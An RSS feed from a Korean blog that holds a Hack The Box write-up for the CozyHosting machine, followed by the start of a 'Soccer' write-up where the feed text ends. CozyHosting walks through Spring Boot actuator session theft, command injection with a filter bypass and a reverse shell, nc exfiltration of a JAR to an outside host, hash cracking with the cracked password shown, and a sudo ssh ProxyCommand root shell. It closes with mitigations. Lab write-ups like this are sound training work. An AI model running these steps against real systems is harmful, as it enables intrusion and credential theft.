<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>blog</title>
        <link>https://blog.meowyeok.kr/</link>
        <description>meowyeok</description>
        <lastBuildDate>Fri, 24 Jul 2026 05:53:25 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en-US</language>
        <copyright>All rights reserved 2026, meowyeok</copyright>
        <item>
            <title><![CDATA[CozyHosting]]></title>
            <link>https://blog.meowyeok.kr/article/41f2196f-526b-823d-91f7-01a9c8f32567</link>
            <guid>https://blog.meowyeok.kr/article/41f2196f-526b-823d-91f7-01a9c8f32567</guid>
            <pubDate>Fri, 24 Jul 2026 00:00:00 GMT</pubDate>
            <content:encoded><![CDATA[<div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-41f2196f526b823d91f701a9c8f32567"><div class="notion-viewport"></div><div class="notion-collection-page-properties"></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-7532196f526b8223be7281a29f8aa940"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:567.9861450195312px;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A2f06bc36-682f-449e-ac5c-31041d3d5699%3Aimage.png?table=block&amp;id=7532196f-526b-8223-be72-81a29f8aa940&amp;t=7532196f-526b-8223-be72-81a29f8aa940" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-table-of-contents notion-gray notion-block-5c42196f526b83a7af2d8121e46199ba"><a href="#3a52196f526b82ef9f508188b203504a" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">Reconnaissance</span></a><a href="#74a2196f526b8228b6bd013ba2aa2a67" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">Exploitation</span></a><a href="#7cf2196f526b82529954810f469ce52a" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">Privilege Escalation</span></a><a href="#b302196f526b8251b87581b2ee826317" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">Mitigation</span></a></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-3a52196f526b82ef9f508188b203504a" data-id="3a52196f526b82ef9f508188b203504a"><span><div id="3a52196f526b82ef9f508188b203504a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3a52196f526b82ef9f508188b203504a" title="Reconnaissance"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Reconnaissance</span></span></h2><div class="notion-text notion-block-6d22196f526b839f99728129ece9e996"><code class="notion-inline-code">nmap -sV 10.129.229.88</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-93d2196f526b82e7b40d0115225c6ecd"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A6b432fd7-5648-4c59-b684-9bb884732fea%3Aimage.png?table=block&amp;id=93d2196f-526b-82e7-b40d-0115225c6ecd&amp;t=93d2196f-526b-82e7-b40d-0115225c6ecd" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-f082196f526b823facac811d219fe44c"><li>ssh와 웹서비스가 띄워져 있다.</li></ul><div class="notion-blank notion-block-95a2196f526b83679927816b641940b6"> </div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-9172196f526b825e8c7e01956bdf18ad"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A24f3703c-e1fc-4763-9798-0002cd200175%3Aimage.png?table=block&amp;id=9172196f-526b-825e-8c7e-01956bdf18ad&amp;t=9172196f-526b-825e-8c7e-01956bdf18ad" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-91f2196f526b834380120118a089f8e6"><li>웹서비스를 열심히 둘러보았는데 기능이랄게 로그인밖에 없었다. </li></ul><ul class="notion-list notion-list-disc notion-block-f0e2196f526b830fba5781d4851f66d7"><li>브루트포스도 성과가 없었고, 크리덴셜을 확보하지 못했다.</li></ul><div class="notion-blank notion-block-0102196f526b837e939981d466d1036b"> </div><div class="notion-text notion-block-8062196f526b835a843b810088be2eaf"><code class="notion-inline-code">gobuster dir -u cozyhosting.htb -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 60</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-bae2196f526b82cd92e781126dd49ffd"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Ac233a6c9-e76b-4b70-b339-72b4b845a6ed%3Aimage.png?table=block&amp;id=bae2196f-526b-82cd-92e7-81126dd49ffd&amp;t=bae2196f-526b-82cd-92e7-81126dd49ffd" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-a442196f526b8301bb9a01bb89217ce5"><li>/admin도 /login으로 리다이렉트 돼서 결국 로그인을 해야한다.</li></ul><div class="notion-blank notion-block-fec2196f526b836fa41701757cbabb6f"> </div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-d6d2196f526b8341bcff01f8b84cb4e4"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A03d3e6e6-b4a8-419c-9406-5b85a4f88799%3Aimage.png?table=block&amp;id=d6d2196f-526b-8341-bcff-01f8b84cb4e4&amp;t=d6d2196f-526b-8341-bcff-01f8b84cb4e4" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-6c22196f526b826eabcb81d22879a21d"><li>열심히 헤매다가 guide mode에서 힌트를 얻었는데, /error 엔드포인트의 error page가 개발 프레임워크가 spring boot라는 정보를 주고 있었다.</li></ul><ul class="notion-list notion-list-disc notion-block-4fe2196f526b82dc89bc012425e3eb30"><li>그래서 spring 기반의 worlist로 바꿔서 gobuster를 돌려보았다.</li></ul><div class="notion-blank notion-block-b492196f526b83b4bc1a8196f92f4026"> </div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-92f2196f526b82bd958c012ca35dbe74"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A30e2c7f8-7bb1-40e4-ab14-bccb04a67e76%3Aimage.png?table=block&amp;id=92f2196f-526b-82bd-958c-012ca35dbe74&amp;t=92f2196f-526b-82bd-958c-012ca35dbe74" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-7f82196f526b837c8e58811bb9cf5a7f"><li>spring boot는 /actuator 엔드포인트에서 운영중인 애플리케이션의 상태를 모니터링/관리할 수 있는 내장기능을 갖고 있다고 한다.</li><ul class="notion-list notion-list-disc notion-block-7f82196f526b837c8e58811bb9cf5a7f"><li><code class="notion-inline-code">/actuator/health</code> : 앱 및 연결된 DB, 디스크 등 헬스체크 상태</li><li><code class="notion-inline-code">/actuator/info</code> : 빌드/버전 등 커스텀 정보 </li><li><code class="notion-inline-code">/actuator/env</code> : 환경변수</li><li>등…</li></ul></ul><ul class="notion-list notion-list-disc notion-block-a982196f526b8211928d013c8f7e0ad0"><li>여기서는 /actuator/sessions에서 크리덴셜을 확보할 수 있었다.</li></ul><div class="notion-blank notion-block-d632196f526b83c89ad30165667b5608"> </div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-a8c2196f526b82498c7801d486c0d1e7"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A771f145f-830a-4c5e-bd4e-855c8b5973a9%3Aimage.png?table=block&amp;id=a8c2196f-526b-8249-8c78-01d486c0d1e7&amp;t=a8c2196f-526b-8249-8c78-01d486c0d1e7" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-2852196f526b8355abb68146177c3e6a"><li>처음엔 저 왼쪽값이 뭘까 싶었는데 JSESSIONID 값과 유사해서 저걸 쿠키로 쓰면 /admin 에 접근이 가능하겠구나 싶었다.</li></ul><div class="notion-blank notion-block-6f82196f526b833ebd238158e9159ffd"> </div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-4ff2196f526b83e0a5a00107afdd200a"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A10cb6cdc-cc9f-46ab-89f4-4cc99c422a84%3Aimage.png?table=block&amp;id=4ff2196f-526b-83e0-a5a0-0107afdd200a&amp;t=4ff2196f-526b-83e0-a5a0-0107afdd200a" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-94e2196f526b83d593c581ea6b15ca7c"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Aebc3513f-18cf-41c4-b01f-8a5711197c66%3Aimage.png?table=block&amp;id=94e2196f-526b-83d5-93c5-81ea6b15ca7c&amp;t=94e2196f-526b-83d5-93c5-81ea6b15ca7c" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-fcc2196f526b82d296fa01496ce912e9"><li>역시 /admin 에 접근할 수 있었고, 여기서 hostname과 username을 입력해서 내부적으로 ssh 연결을 시도하는 기능이 있었다.</li></ul><ul class="notion-list notion-list-disc notion-block-d0e2196f526b8357b48381213234edde"><li>아주 Command injection 스럽다.</li></ul><div class="notion-blank notion-block-8fe2196f526b8299b0588105a9b8f8f3"> </div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-74a2196f526b8228b6bd013ba2aa2a67" data-id="74a2196f526b8228b6bd013ba2aa2a67"><span><div id="74a2196f526b8228b6bd013ba2aa2a67" class="notion-header-anchor"></div><a class="notion-hash-link" href="#74a2196f526b8228b6bd013ba2aa2a67" title="Exploitation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Exploitation</span></span></h2><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-5dc2196f526b82e08ba80132668e95f2"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A4e16aa83-d20c-40fc-ae5c-a70c2116baef%3Aimage.png?table=block&amp;id=5dc2196f-526b-82e0-8ba8-0132668e95f2&amp;t=5dc2196f-526b-82e0-8ba8-0132668e95f2" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-97d2196f526b8354814781279c3282dd"><li>열심히 찔러본 결과 username쪽에 공백없이 백틱으로 감싸주면서 RCE가 가능한걸 확인했다.</li></ul><div class="notion-blank notion-block-14f2196f526b8209a7d981f01278ec51"> </div><ul class="notion-list notion-list-disc notion-block-9992196f526b833fbbd001550f4348fc"><li>최종적으론 burp에서 이렇게 요청을 보냈는데, 공백을 검사하고 있어서 ${IFS}와 base64 인코딩을 통해 공백을 우회하여서 내 서버에 리버스셸을 붙힐 수 있었다.</li></ul><div class="notion-blank notion-block-6862196f526b8316930d81660887390f"> </div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-7bc2196f526b8350bda101efa34e8349"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Ace5886c4-5d32-49df-a05a-ca9a747ac10a%3Aimage.png?table=block&amp;id=7bc2196f-526b-8350-bda1-01efa34e8349&amp;t=7bc2196f-526b-8350-bda1-01efa34e8349" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-2582196f526b83dab73a01681c732206"><li>그런데 아직 /home/josh 로의 권한상승이 필요한 상황이다.</li></ul><ul class="notion-list notion-list-disc notion-block-dd22196f526b837c80928135cddb72c6"><li>작업 디렉토리에 jar파일이 있어서 nc로 받아와서 뜯어보았다.</li></ul><div class="notion-blank notion-block-b412196f526b83a0af70017151853e6c"> </div><div class="notion-text notion-block-9ce2196f526b82d2bd0f0173ffc2d483"><code class="notion-inline-code">nc 10.10.16.56 4445 &lt; ./cloudhosting-0.0.1.jar</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-ac72196f526b8290b57e818bb2f49148"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A082e6cad-2497-4b28-940b-3b8d0d06ff46%3Aimage.png?table=block&amp;id=ac72196f-526b-8290-b57e-818bb2f49148&amp;t=ac72196f-526b-8290-b57e-818bb2f49148" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-9872196f526b8343998701cf54eafa29"><li>jadx로 열어보았더니 application.properties에 db접속정보가 들어있었다.</li></ul><div class="notion-blank notion-block-10a2196f526b83309c6a01c6cab6f2b4"> </div><div class="notion-text notion-block-8b22196f526b828c88de812e3418fd28"><code class="notion-inline-code">psql -h localhost -p 5432 -U postgres -d cozyhosting</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-ecd2196f526b82d9ac998130c497ed75"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A6a836e60-f036-435e-9197-ce2dfb0c1b46%3Aimage.png?table=block&amp;id=ecd2196f-526b-82d9-ac99-8130c497ed75&amp;t=ecd2196f-526b-82d9-ac99-8130c497ed75" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-f7c2196f526b83a483ad81c6b2b231ab"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Ad42fc23c-f4fd-4ced-8dff-042008f10167%3Aimage.png?table=block&amp;id=f7c2196f-526b-83a4-83ad-81c6b2b231ab&amp;t=f7c2196f-526b-83a4-83ad-81c6b2b231ab" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-f202196f526b828e83cc8128bfb42551"><li>얻어낸 db 접속정보로 db에 접속하여 admin계정의 비밀번호 해시를 얻어내었다.</li></ul><div class="notion-blank notion-block-c0c2196f526b83b08cb3816509f10a6a"> </div><div class="notion-text notion-block-6e22196f526b823f85c3818c66d09e6c"><code class="notion-inline-code">hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-9262196f526b82b2a8b0813c6bf9fb46"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Ad8ad16fd-5ca0-442d-87c4-bdc3b1ed56bf%3Aimage.png?table=block&amp;id=9262196f-526b-82b2-a8b0-813c6bf9fb46&amp;t=9262196f-526b-82b2-a8b0-813c6bf9fb46" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-2152196f526b82afa1bb8142ade60a17"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Ae13451c4-d8e0-432a-af77-89c8c199c251%3Aimage.png?table=block&amp;id=2152196f-526b-82af-a1bb-8142ade60a17&amp;t=2152196f-526b-82af-a1bb-8142ade60a17" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-0da2196f526b835e97f80119c996f3e3"><li>hashcat으로 크랙이 되었고 비밀번호를 얻어내었다.</li></ul><ul class="notion-list notion-list-disc notion-block-e8d2196f526b83b0b9fb81a535ab7db0"><li>josh의 비밀번호로 사용해보니 로그인에 성공하였다.</li></ul><ul class="notion-list notion-list-disc notion-block-5602196f526b83a9b01e8176a9e4271c"><li>( josh / manchesterunited ) </li></ul><ul class="notion-list notion-list-disc notion-block-c1b2196f526b82b196ab8108ca1e0f6c"><li>user flag 획득!</li></ul><div class="notion-blank notion-block-a192196f526b836e82c501274f4c6951"> </div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-7cf2196f526b82529954810f469ce52a" data-id="7cf2196f526b82529954810f469ce52a"><span><div id="7cf2196f526b82529954810f469ce52a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#7cf2196f526b82529954810f469ce52a" title="Privilege Escalation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Privilege Escalation</span></span></h2><div class="notion-text notion-block-7962196f526b82e8bacb01c5d2422d27"><code class="notion-inline-code">sudo -l</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-1882196f526b825292c401e4b3daa4ef"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A39438bc6-6057-43ae-a0aa-6c8de72e80f0%3Aimage.png?table=block&amp;id=1882196f-526b-8252-92c4-01e4b3daa4ef&amp;t=1882196f-526b-8252-92c4-01e4b3daa4ef" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-cda2196f526b83bfb259011bec7a4c99"><li>바로 권한상승을 위해 sudo -l을 실행해보니 ssh 모든 옵션에 대해 root 권한이 있었다.</li></ul><ul class="notion-list notion-list-disc notion-block-2a02196f526b8226ac22016a9fe479e9"><li>검색해보니 어렵지않게 방법을 찾을 수 있었다.</li></ul><div class="notion-blank notion-block-e982196f526b830096b0812f5f6f2a67"> </div><div class="notion-text notion-block-9ff2196f526b828f8511011292180920"><code class="notion-inline-code">sudo ssh -o ProxyCommand=&#x27;;sh 0&lt;&amp;2 1&gt;&amp;2&#x27; 127.0.0.1</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-dad2196f526b834abfc78120f10f77fc"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Acf96294b-4b25-4d78-9edd-f41b6193f52b%3Aimage.png?table=block&amp;id=dad2196f-526b-834a-bfc7-8120f10f77fc&amp;t=dad2196f-526b-834a-bfc7-8120f10f77fc" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-36a2196f526b82efb416812aa57d6b50"><li><code class="notion-inline-code">ssh -o ProxyCommand=CMD host</code> 이 옵션은 원래 실제 TCP 연결 대신에 CMD를 실행하고 그 프로세스의 stdin/stdout을 소켓처럼 사용하겠다는 의미이다.</li></ul><ul class="notion-list notion-list-disc notion-block-aa12196f526b83d7b36f81ecc448b537"><li><code class="notion-inline-code">;sh 0&lt;&amp;2 1&gt;&amp;2</code> 부분을 통해 쉘의 표준 입출력을 stderr로 교체하는 원리이다. fd 0/1 은 통신용으로 가로채어지고, fd 2만 터치받지 않고 터미널에 그대로 연결되어 있기 때문이다.</li></ul><ul class="notion-list notion-list-disc notion-block-d732196f526b83b79a4401b45fcaec7a"><li>root flag 획득!</li></ul><div class="notion-blank notion-block-0b42196f526b83b4870581eac38471c3"> </div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-b302196f526b8251b87581b2ee826317" data-id="b302196f526b8251b87581b2ee826317"><span><div id="b302196f526b8251b87581b2ee826317" class="notion-header-anchor"></div><a class="notion-hash-link" href="#b302196f526b8251b87581b2ee826317" title="Mitigation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Mitigation</span></span></h2><ul class="notion-list notion-list-disc notion-block-1f12196f526b823ea81501c4b4c8f19c"><li>Spring Boot Actuator: <code class="notion-inline-code">/actuator/sessions</code>, <code class="notion-inline-code">/env</code> 등 민감 엔드포인트는 프로덕션에서 비활성화하거나 인증/IP 제한 적용.</li></ul><ul class="notion-list notion-list-disc notion-block-d5d2196f526b821ab15b81705c1ca888"><li>Command Injection: SSH 연결 기능에 사용자 입력(hostname, username)을 그대로 셸에 넘기지 말고 화이트리스트 검증 및 파라미터화 처리.</li></ul><ul class="notion-list notion-list-disc notion-block-7602196f526b826c9fc9013cb3542f9a"><li>비밀번호 정책: bcrypt를 쓰더라도 <code class="notion-inline-code">manchesterunited</code>처럼 rockyou에 있는 약한 비밀번호는 무의미하므로 강력한 비밀번호/MFA 적용.</li></ul><ul class="notion-list notion-list-disc notion-block-51b2196f526b8388bb6f818f35b05828"><li>sudoers 설정: <code class="notion-inline-code">ssh</code>, <code class="notion-inline-code">vim</code>, <code class="notion-inline-code">find</code> 등의 바이너리를 NOPASSWD 전체 옵션 허용으로 등록하지 말고, 필요한 인자만 고정해서 사용. (ex. <code class="notion-inline-code">josh ALL=(ALL) NOPASSWD: /usr/bin/ssh josh@10.10.16.100</code>)</li></ul><ul class="notion-list notion-list-disc notion-block-dcc2196f526b825b874381ec14d217e8"><li>JAR 파일에 DB 크리덴셜 하드코딩 금지: <code class="notion-inline-code">application.properties</code>는 환경변수나 별도 시크릿 매니저로 분리.</li></ul><div class="notion-blank notion-block-09b2196f526b82d9bfd481ade292beaf"> </div></main></div>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Soccer]]></title>
            <link>https://blog.meowyeok.kr/article/63a2196f-526b-82e5-8955-011313536475</link>
            <guid>https://blog.meowyeok.kr/article/63a2196f-526b-82e5-8955-011313536475</guid>
            <pubDate>Fri, 24 Jul 2026 00:00:00 GMT</pubDate>
            <content:encoded><![CDATA[<div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-63a2196f526b82e58955011313536475"><div class="notion-viewport"></div><div class="notion-collection-page-properties"></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-c932196f526b826f8ee081d5ab9819fd"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:341px;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A0a0fabca-536f-4a00-acf0-485dc13b314c%3Aimage.png?table=block&amp;id=c932196f-526b-826f-8ee0-81d5ab9819fd&amp;t=c932196f-526b-826f-8ee0-81d5ab9819fd" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-table-of-contents notion-gray notion-block-2712196f526b833da426813083613a88"><a href="#14b2196f526b83ada0fb8115fa97cd9b" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">Reconnaissance</span></a><a href="#39a2196f526b8332a56b01ea130ed3a5" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">Exploitation</span></a><a href="#3c02196f526b832c82c8819503f263b1" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">Privilege Escalation</span></a><a href="#3b42196f526b824996fb018222244599" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">Mitigation</span></a></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-14b2196f526b83ada0fb8115fa97cd9b" data-id="14b2196f526b83ada0fb8115fa97cd9b"><span><div id="14b2196f526b83ada0fb8115fa97cd9b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#14b2196f526b83ada0fb8115fa97cd9b" title="Reconnaissance"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Reconnaissance</span></span></h2><div class="notion-text notion-block-f4f2196f526b82e5a1a78143d959ebfe"><code class="notion-inline-code">nmap -sV 10.129.31.245</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-6b92196f526b82b291a501d67ff527aa"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A120a3cee-bd60-40a4-a29d-902183e29207%3Aimage.png?table=block&amp;id=6b92196f-526b-82b2-91a5-01d67ff527aa&amp;t=6b92196f-526b-82b2-91a5-01d67ff527aa" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-d012196f526b82baa5a8818fb353ceaf"><li>22,80포트가 열려있었고 특이하게 9091포트도 열려있었다.</li></ul><ul class="notion-list notion-list-disc notion-block-bf82196f526b83a2a0e30164a555e528"><li>일단은 접근이 쉬운 80포트 웹사이트부터 탐색해 보았다.</li></ul><div class="notion-blank notion-block-c832196f526b833d8a9a01e052158cef"> </div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-9712196f526b822c9a6081a7432bdeb8"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Aaa558930-5a9c-4876-a71c-ac1fb27c0f27%3Aimage.png?table=block&amp;id=9712196f-526b-822c-9a60-81a7432bdeb8&amp;t=9712196f-526b-822c-9a60-81a7432bdeb8" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-9882196f526b82f1865d817bcb54295f"><li>웹사이트가 띄워져 있었지만 별다른 기능이 없었다.</li></ul><div class="notion-blank notion-block-12d2196f526b83459f9e012e27c50a5b"> </div><div class="notion-text notion-block-a132196f526b827faae4012d5cdaa1a6"><code class="notion-inline-code">gobuster dir -u soccer.htb -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 60</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-1ae2196f526b833f9ed0817549f2d25e"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A53c89384-35ec-4f5d-96ba-e1e369a28fa8%3Aimage.png?table=block&amp;id=1ae2196f-526b-833f-9ed0-817549f2d25e&amp;t=1ae2196f-526b-833f-9ed0-817549f2d25e" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list 